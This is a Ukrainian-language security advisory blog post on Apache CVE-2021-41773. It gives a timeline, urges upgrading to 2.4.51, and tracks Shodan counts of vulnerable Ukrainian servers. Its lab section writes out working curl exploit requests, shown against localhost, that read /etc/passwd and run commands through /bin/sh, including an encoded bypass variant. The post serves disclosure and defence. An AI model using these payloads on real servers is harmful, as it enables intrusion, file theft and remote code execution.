“поранений” Apache або CVE-2021-41773
update#1 – 11/10 додано свіжу статистику Shodan по версіям Apache
update#2 – 13/10 додано динаміку оновлень за даними Shodan
Коротко:
У популярному web сервері Apache версії 2.4.49 було виявлено вразливість CVE-2021-41773 типу path traversal яка може переходити у RCE. При нестандартній конфігурації (Require all granted) та активованому mod-cgi Linux та Windows сервери з Apache (версій 2.4.49-2.4.50) вразливі до спеціальних GET/POST запитів, через які зловмисники можуть витягувати інформацію з файлової системи або запускати довільний код.
Увага!
Важливо чітко розуміти, що небезпеку становлять не лише опубліковані в інтернет, а й внутрішні сервери з Apache версій 2.4.49-2.4.50 (консолі керування, документообіг тощо). Потрібно оновити усі наявні Apache і за можливості переглянути їх конфігурацію, аби ця вразливість не стала способом lateral movement для зловмисників, які вже мають закріплення в середині мережі.
Хронологія:
29/09 – розробників повідомляють про вразливість у версії 2.4.49
04/10 – виходить оновлення 2.4.50
05/10 – в мережі з’являються PoC, вразливість починають використовувати
06/10 – дослідники виявляють можливість RCE
07/10 – дослідники виявлять, що оновлення 2.4.50 можна обійти, виходить 2.4.51
08/10 – ви знаходитесь тут
…
Що робити:
Якщо у вас є сервери з Apache 2.4.49 чи 2.4.50 – байдуже чи опубліковані в Інтернет чи ні, вам потрібно як можна швидше оновити їх до 2.4.51
Кому кортить власноруч перевірити власні сервери – обирайте з великої кількості PoC.
Дані Shodan по українському сегменту:
(Це статистика станом на ранок 8 жовтня)
- Total hosts: 1,908,257
- Total Apache: 124,741
- 2.4.49: 576 [ country:UA product:”Apache httpd” version:”2.4.49″ ]
- 2.4.50: 23 [ country:UA product:”Apache httpd” version:”2.4.50″ ]
- 2.4.51: 0 [ country:UA product:”Apache httpd” version:”2.4.51″ ]
Як можна помітити, за 48 годин з моменту як стало відомо про вразливість 2.4.49, лише 23 сервери були оновлені до 2.4.50 (який на жаль, теж виявився дірявим). Потрібно оновлювати Apache до 2.4.51, але таких в UAIX поки Shodan не фіксує…
Станом на 11 жовтня ситуація за даними Shodan наступна:
- 2.4.49: 439 (-137) [ country:UA product:”Apache httpd” version:”2.4.49″ ]
- 2.4.50: 55 (+32) [ country:UA product:”Apache httpd” version:”2.4.50″ ]
- 2.4.51: 47 (+47) [ country:UA product:”Apache httpd” version:”2.4.51″ ]
update#2
цифри станом на 12 жовтня:
- 2.4.49: 399 (-40) [ country:UA product:”Apache httpd” version:”2.4.49″ ]
- 2.4.50: 55 (=) [ country:UA product:”Apache httpd” version:”2.4.50″ ]
- 2.4.51: 80 (+33) [ country:UA product:”Apache httpd” version:”2.4.51″ ]
цифри станом на 13 жовтня:
- 2.4.49: 365 (-34) [ country:UA product:”Apache httpd” version:”2.4.49″ ]
- 2.4.50: 56 (+1) [ country:UA product:”Apache httpd” version:”2.4.50″ ]
- 2.4.51: 115 (+35) [ country:UA product:”Apache httpd” version:”2.4.51″ ]
Як це виглядає:
Взяв те, що було під рукою – відносно свіжий реліз Kali, Apache 2.4.49
За специфічних умов (Require all granted + mod-cgi enabled) спеціальними запитами можна змусити веб сервер вивести зміст файлів або ж виконати команду.
Приклад запитів:
curl http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
curl ‘localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh’ -d ‘A=|echo;id’
curl -s –path-as-is “http://127.0.0.1/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd”
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; id' "http://127.0.0.1/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh"
ще один варіант:
# curl ‘http://127.0.0.1/.%%32%65/.%%32%65/bin/sh’ –data ‘echo Content-type: text/plain; echo; id’
Чому це критично?
Зчитування файлів (path traversal)
Виконання команд (RCE)
Вразливість також актуальна для Apache під Windows
Запуск інтерактивного shell через вразливість Apache
Перелік корисних джерел:
- Apache HTTP Server 2.4 vulnerabilities
- Початкова новина про path traversal
- Новина про RCE
- Новина про неповний фікс
- Колекція PoC
Будьте здорові, уважні та обережні.
VR